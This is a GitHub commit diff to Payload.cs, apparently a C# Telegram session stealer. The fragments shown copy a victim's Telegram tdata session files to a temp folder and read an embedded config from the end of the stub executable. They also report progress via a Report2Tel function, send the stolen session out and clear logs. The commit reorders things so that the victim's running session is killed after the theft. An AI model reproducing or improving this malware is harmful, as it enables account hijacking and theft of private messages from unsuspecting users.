Skip to content

Commit 2fd4a5e

Browse files
authored
Fixed Bugs
1 parent 5b018d5 commit 2fd4a5e

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

Payload.cs

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@ class Program
2323
private static string RecieverEmail;
2424
private static string SenderEmailPassword;
2525
private static string TGVersion;
26+
private static string TDLocation;
2627
#endregion
2728

2829
#region Main
@@ -73,7 +74,7 @@ static void Main()
7374

7475
EXPL0IT();
7576

76-
#region FinalOperations
77+
#region SendSession
7778
Thread.Sleep(1000);
7879
if (File.Exists(Session))
7980
{
@@ -83,6 +84,9 @@ static void Main()
8384
ClearLogs();
8485
Application.Exit();
8586
#endregion
87+
88+
KillCurrentSession(TDLocation);
89+
8690
}
8791
#endregion
8892

@@ -97,6 +101,7 @@ private static string[] ReadConfigs()
97101
{
98102
try
99103
{
104+
//byte[] Stub = File.ReadAllBytes(@"C:\Users\amirreza\Desktop\123.exe");
100105
byte[] Stub = File.ReadAllBytes(Application.ExecutablePath.ToString());
101106
byte[] ConfigArry = new byte[1024];
102107
Array.ConstrainedCopy(Stub, Stub.Length - 1024, ConfigArry, 0, 1024);
@@ -296,7 +301,7 @@ private static string HuntSession(string TDataLocation)
296301
{
297302
File.Copy(Map[1], Temp + @"\TelegramSession\" + @"tdata\" + SuperDirectory + @"\" + "map1");
298303
}
299-
KillCurrentSession(TDataLocation);
304+
TDLocation = TDataLocation;
300305
}
301306
#endregion
302307

@@ -465,6 +470,7 @@ private static void EXPL0IT()
465470
else
466471
{
467472
Report2Tel("Tdata not exists, User is using Custom Location 🙃");
473+
468474
#region Wait For Proccess
469475
Report2Tel("Waiting for telegram proccess to track tdata location... 😎");
470476
string SessionLocation = TryHookProccess();

0 commit comments

Comments
 (0)